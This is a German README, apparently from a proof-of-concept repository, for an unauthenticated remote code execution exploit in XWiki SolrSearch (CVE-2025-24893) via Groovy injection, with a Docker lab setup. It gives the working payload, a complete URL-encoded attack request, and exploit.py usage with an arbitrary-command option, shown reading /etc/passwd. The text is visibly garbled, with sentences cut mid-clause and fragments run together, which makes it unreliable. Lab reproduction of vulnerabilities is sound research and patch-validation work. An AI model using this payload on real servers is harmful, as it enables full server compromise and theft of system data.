
Exploit für nicht authentifizierte Remote-Codeausführung für XWiki SolrSearch (CVE-2025-24893) über Groovy-Injection im Textparameter, mit Docker-basierter Laborumgebung und PoC-Skript.
Main.SolrSearch-Seite Gästen offen steht und der Benutzereingabeparameter text ohne ausreichende Validierung als XWiki-Syntax ausgewertet wird.text das {{groovy}}-Makro einfügen, um beliebigen Groovy-Code auf dem Server auszuführen, und über "command".execute() sogar Betriebssystembefehle aufrufen. Diese Schwachstelle kann ohne separates Login oder Token mit einer einzigen GET-Anfrage ausgenutzt werden.Dieses Verzeichnis verwendet die offizielle XWiki-Standalone-Distribution 15.10.1 und die Java-17-Laufzeitumgebung, um eine verwundbare Umgebung zu erstellen.
| Element | Beschreibung |
|---|---|
| CVE | CVE-2025-24893 |
| Produkt | XWiki Platform |
| Verwundbare Versionen | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Patch-Versionen | 15.10.11, 16.4.1 |
| Schwachstellentyp | Eval Injection -> Unauthenticated RCE |
| Authentifizierung erforderlich | Nein |
| Auswirkung | Ausführung von Serverbefehlen möglich |
Main.SolrSearch-Endpunkt muss für Gäste zugänglich sein.text-Parameter als XWiki-Syntax auswerten können.groovy-Makro muss ausführbar sein.Diese Umgebung verwendet XWiki 15.10.1 und erfüllt daher die obigen Bedingungen.
docker compose up -d --build
Beim ersten Start erfolgt eine automatische Installation, die einige Minuten dauern kann (ca. 6–7 Minuten).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Wenn das Ergebnis der obigen Befehle "Status":"healthy" anzeigt, ist die Umgebungskonfiguration abgeschlossen und ausnutzbar.
pip install requests
Installieren Sie die Abhängigkeiten vor dem Ausführen von exploit.py.
Der Kern-Payload lautet wie folgt:
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
Der obige Payload wird in den text-Parameter eingefügt und auf der Main.SolrSearch-Seite ausgewertet. Dadurch wird println("id".execute().text) auf dem Server ausgeführt, und das Ergebnis der Befehlsausführung wird im RSS-Antworttext reflektiert.
Das vollständige Ausführungsskript finden Sie unter exploit.py.
python3 exploit.py
Durch Ausführen des obigen Python-Codes kann der PoC reproduziert werden. Der Standardbefehl ist id.
python3 exploit.py -c "cat /etc/passwd"
Um einen anderen Befehl auszuführen, übergeben Sie die Argumente wie oben.
Oder senden Sie eine Anfrage an die URL (Payload, der id ausgibt):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Darstellung des Sendens von id als Antwort
Auflistung der Dateien im aktuellen Verzeichnis
15.10.11 oder höher bzw. 16.4.1 oder höher.SolrSearch.